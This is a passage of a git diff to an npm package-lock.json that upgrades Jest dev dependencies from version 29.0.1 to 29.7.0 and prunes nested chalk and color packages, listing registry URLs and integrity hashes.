>=24.0.0" + } + }, + "node_modules/@jest/environment-jsdom-abstract/node_modules/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12" }, "funding": { - "url": "https://github.com/sponsors/sindresorhus" + "url": "https://github.com/sponsors/jonschlinkert" } }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/pretty-format": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.5.tgz", + "integrity": "sha512-D1tKtYvByrBkFLe2wHJl2bwMJIiT8rW+XA+TiataH79/FszLQMrpGEvzUVkzPau7OCO0Qnrhpe87PqtOAIB8Yw==", "dev": true, + "license": "MIT", "dependencies": { - "p-limit": "^2.2.0" + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" }, "engines": { - "node": ">=8" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", + "node_modules/@jest/environment-jsdom-abstract/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", "dev": true, - "engines": { - "node": ">=8" - } + "license": "MIT" }, - "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "node_modules/@jest/expect": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-8uMeAMycttpva3P1lBHB8VciS9V0XAr3GymPpipdyQXbBcuhkLQOSe8E/p92RyAdToS6ZD1tFkX+CkhoECE0dQ==", "dev": true, + "dependencies": { + "expect": "^29.7.0", + "jest-snapshot": "^29.7.0" + }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@istanbuljs/schema": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", - "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "node_modules/@jest/expect-utils": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", + "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==", "dev": true, + "dependencies": { + "jest-get-type": "^29.6.3" + }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@jest/console": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/console/-/console-29.0.1.tgz", - "integrity": "sha512-SxLvSKf9gk4Rvt3p2KRQWVQ3sVj7S37rjlCHwp2+xNcRO/X+Uw0idbkfOtciUpjghHIxyggqcrrKhThQ+vClLQ==", + "node_modules/@jest/fake-timers": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", + "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==", "dev": true, "dependencies": { - "@jest/types": "^29.0.1", + "@jest/types": "^29.6.3", + "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", - "chalk": "^4.0.0", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", - "slash": "^3.0.0" + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@jest/console/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/@jest/globals": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", + "integrity": "sha512-mpiz3dutLbkW2MNFubUGUEVLkTGiqW6yLVTA+JbP6fI6J5iL9Y0Nlg8k95pcF8ctKwCS7WVxteBs29hhfAotzQ==", "dev": true, "dependencies": { - "color-convert": "^2.0.1" + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/types": "^29.6.3", + "jest-mock": "^29.7.0" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@jest/console/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/@jest/pattern": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", + "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@types/node": "*", + "jest-regex-util": "30.0.1" }, "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, - "node_modules/@jest/console/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/@jest/pattern/node_modules/jest-regex-util": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", + "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, + "license": "MIT", "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/@jest/console/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/@jest/console/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/@jest/console/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/@jest/core": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.0.1.tgz", - "integrity": "sha512-EcFrXkYh8I1GYHRH9V4TU7jr4P6ckaPqGo/z4AIJjHDZxicjYgWB6fx1xFb5bhEM87eUjCF4FAY5t+RamLWQmA==", - "dev": true, - "dependencies": { - "@jest/console": "^29.0.1", - "@jest/reporters": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "ansi-escapes": "^4.2.1", - "chalk": "^4.0.0", - "ci-info": "^3.2.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.9", - "jest-changed-files": "^29.0.0", - "jest-config": "^29.0.1", - "jest-haste-map": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-resolve-dependencies": "^29.0.1", - "jest-runner": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "jest-watcher": "^29.0.1", - "micromatch": "^4.0.4", - "pretty-format": "^29.0.1", - "slash": "^3.0.0", - "strip-ansi": "^6.0.0" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - }, - "peerDependencies": { - "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" - }, - "peerDependenciesMeta": { - "node-notifier": { - "optional": true - } - } - }, - "node_modules/@jest/core/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/@jest/core/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/@jest/core/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/@jest/core/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/@jest/core/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true, - "engines": { - "node": ">=8" - } - }, - "node_modules/@jest/core/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/@jest/environment": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.0.1.tgz", - "integrity": "sha512-iLcFfoq2K6DAB+Mc+2VNLzZVmHdwQFeSqvoM/X8SMON6s/+yEi1iuRX3snx/JfwSnvmiMXjSr0lktxNxOcqXYA==", - "dev": true, - "dependencies": { - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "jest-mock": "^29.0.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/@jest/expect": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.0.1.tgz", - "integrity": "sha512-qKB3q52XDV8VUEiqKKLgLrJx7puQ8sYVqIDlul6n7SIXWS97DOK3KqbR2rDDaMtmenRHqEUl2fI+aFzx0oSemA==", - "dev": true, - "dependencies": { - "expect": "^29.0.1", - "jest-snapshot": "^29.0.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/@jest/expect-utils": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.0.1.tgz", - "integrity": "sha512-Tw5kUUOKmXGQDmQ9TSgTraFFS7HMC1HG/B7y0AN2G2UzjdAXz9BzK2rmNpCSDl7g7y0Gf/VLBm//blonvhtOTQ==", - "dev": true, - "dependencies": { - "jest-get-type": "^29.0.0" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/@jest/fake-timers": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.0.1.tgz", - "integrity": "sha512-XZ+kAhLChVQ+KJNa5034p7O1Mz3vtWrelxDcMoxhZkgqmWDaEQAW9qJeutaeCfPvwaEwKYVyKDYfWpcyT8RiMw==", - "dev": true, - "dependencies": { - "@jest/types": "^29.0.1", - "@sinonjs/fake-timers": "^9.1.2", - "@types/node": "*", - "jest-message-util": "^29.0.1", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/@jest/globals": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.0.1.tgz", - "integrity": "sha512-BtZWrVrKRKNUt7T1H2S8Mz31PN7ItROCmH+V5pn10hJDUfjOCTIUwb0WtLZzm0f1tJ3Uvx+5lVZrF/VTKqNaFg==", - "dev": true, - "dependencies": { - "@jest/environment": "^29.0.1", - "@jest/expect": "^29.0.1", - "@jest/types": "^29.0.1", - "jest-mock": "^29.0.1" - }, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" } }, "node_modules/@jest/reporters": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.0.1.tgz", - "integrity": "sha512-dM3L8JmYYOsdeXUUVZClQy67Tz/v1sMo9h4AQv2U+716VLHV0zdA6Hh4FQNAHMhYw/95dbZbPX8Q+TRR7Rw+wA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", + "integrity": "sha512-DApq0KJbJOEzAFYjHADNNxAE3KbhxQB1y5Kplb5Waqw6zVbuWatSnMjE5gs8FUgEPmNsnZA3NCWl9NG0ia04Pg==", "dev": true, "dependencies": { "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@jridgewell/trace-mapping": "^0.3.15", + "@jest/console": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", "@types/node": "*", "chalk": "^4.0.0", "collect-v8-coverage": "^1.0.0", @@ -2727,17 +2968,16 @@ "glob": "^7.1.3", "graceful-fs": "^4.2.9", "istanbul-lib-coverage": "^3.0.0", - "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-instrument": "^6.0.0", "istanbul-lib-report": "^3.0.0", "istanbul-lib-source-maps": "^4.0.0", "istanbul-reports": "^3.1.3", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", - "jest-worker": "^29.0.1", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", "slash": "^3.0.0", "string-length": "^4.0.1", "strip-ansi": "^6.0.0", - "terminal-link": "^2.0.0", "v8-to-istanbul": "^9.0.1" }, "engines": { @@ -2752,55 +2992,6 @@ } } }, - "node_modules/@jest/reporters/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/@jest/reporters/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/@jest/reporters/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/@jest/reporters/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "node_modules/@jest/reporters/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -2811,12 +3002,13 @@ } }, "node_modules/@jest/reporters/node_modules/jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "dependencies": { "@types/node": "*", + "jest-util": "^29.7.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" }, @@ -2839,37 +3031,25 @@ "url": "https://github.com/chalk/supports-color?sponsor=1" } }, - "node_modules/@jest/reporters/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "dependencies": { - "has-flag": "^4.0.0" - }, - "engines": { - "node": ">=8" - } - }, "node_modules/@jest/schemas": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.0.0.tgz", - "integrity": "sha512-3Ab5HgYIIAnS0HjqJHQYZS+zXc4tUmTmBH3z83ajI6afXp8X3ZtdLX+nXx+I7LNkJD7uN9LAVhgnjDgZa2z0kA==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", "dev": true, "dependencies": { - "@sinclair/typebox": "^0.24.1" + "@sinclair/typebox": "^0.27.8" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, "node_modules/@jest/source-map": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.0.0.tgz", - "integrity": "sha512-nOr+0EM8GiHf34mq2GcJyz/gYFyLQ2INDhAylrZJ9mMWoW21mLBfZa0BUVPPMxVYrLjeiRe2Z7kWXOGnS0TFhQ==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", + "integrity": "sha512-MHjT95QuipcPrpLM+8JMSzFx6eHp5Bm+4XeFDJlwsvVBjmKNiIAvasGK2fxz2WbGRlnvqehFbh07MMa7n3YJnw==", "dev": true, "dependencies": { - "@jridgewell/trace-mapping": "^0.3.15", + "@jridgewell/trace-mapping": "^0.3.18", "callsites": "^3.0.0", "graceful-fs": "^4.2.9" }, @@ -2878,13 +3058,13 @@ } }, "node_modules/@jest/test-result": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.0.1.tgz", - "integrity": "sha512-XCA4whh/igxjBaR/Hg8qwFd/uTsauoD7QAdAYUjV2CSGx0+iunhjoCRRWTwqjQrETRqOJABx6kNfw0+C0vMSgQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", + "integrity": "sha512-Fdx+tv6x1zlkJPcWXmMDAG2HBnaR9XPSd5aDWQVsfrZmLVT3lU1cwyxLgRmXR9yrq4NBoEm9BMsfgFzTQAbJYA==", "dev": true, "dependencies": { - "@jest/console": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/console": "^29.7.0", + "@jest/types": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "collect-v8-coverage": "^1.0.0" }, @@ -2893,14 +3073,14 @@ } }, "node_modules/@jest/test-sequencer": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.0.1.tgz", - "integrity": "sha512-3GhSBMCRcWXGluP2Dw7CLP6mNke/t+EcftF5YjzhX1BJmqcatMbtZVwjuCfZy0TCME1GevXy3qTyV5PLpwIFKQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", + "integrity": "sha512-GQwJ5WZVrKnOJuiYiAF52UNUJXgTZx1NHjFSEB0qEMmSZKAkdMoIzw/Cj6x6NF4AvV23AUqDpFzQkN/eYCYTxw==", "dev": true, "dependencies": { - "@jest/test-result": "^29.0.1", + "@jest/test-result": "^29.7.0", "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", + "jest-haste-map": "^29.7.0", "slash": "^3.0.0" }, "engines": { @@ -2908,375 +3088,521 @@ } }, "node_modules/@jest/transform": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.0.1.tgz", - "integrity": "sha512-6UxXtqrPScFdDhoip8ys60dQAIYppQinyR87n9nlasR/ZnFfJohKToqzM29KK4gb9gHRv5oDFChdqZKE0SIhsg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", + "integrity": "sha512-ok/BTPFzFKVMwO5eOHRrvnBVHdRy9IrsrW1GpMaQ9MCnilNLXQKmAX8s1YXDFaai9xJpac2ySzV0YeRRECr2Vw==", "dev": true, "dependencies": { "@babel/core": "^7.11.6", - "@jest/types": "^29.0.1", - "@jridgewell/trace-mapping": "^0.3.15", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", "babel-plugin-istanbul": "^6.1.1", "chalk": "^4.0.0", - "convert-source-map": "^1.4.0", + "convert-source-map": "^2.0.0", "fast-json-stable-stringify": "^2.1.0", "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-util": "^29.0.1", + "jest-haste-map": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", "micromatch": "^4.0.4", "pirates": "^4.0.4", "slash": "^3.0.0", - "write-file-atomic": "^4.0.1" + "write-file-atomic": "^4.0.2" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@jest/transform/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/@jest/transform/node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true + }, + "node_modules/@jest/types": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", "dev": true, "dependencies": { - "color-convert": "^2.0.1" + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/@jest/transform/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.12", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz", + "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==", + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" } }, - "node_modules/@jest/transform/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "dependencies": { - "color-name": "~1.1.4" - }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": 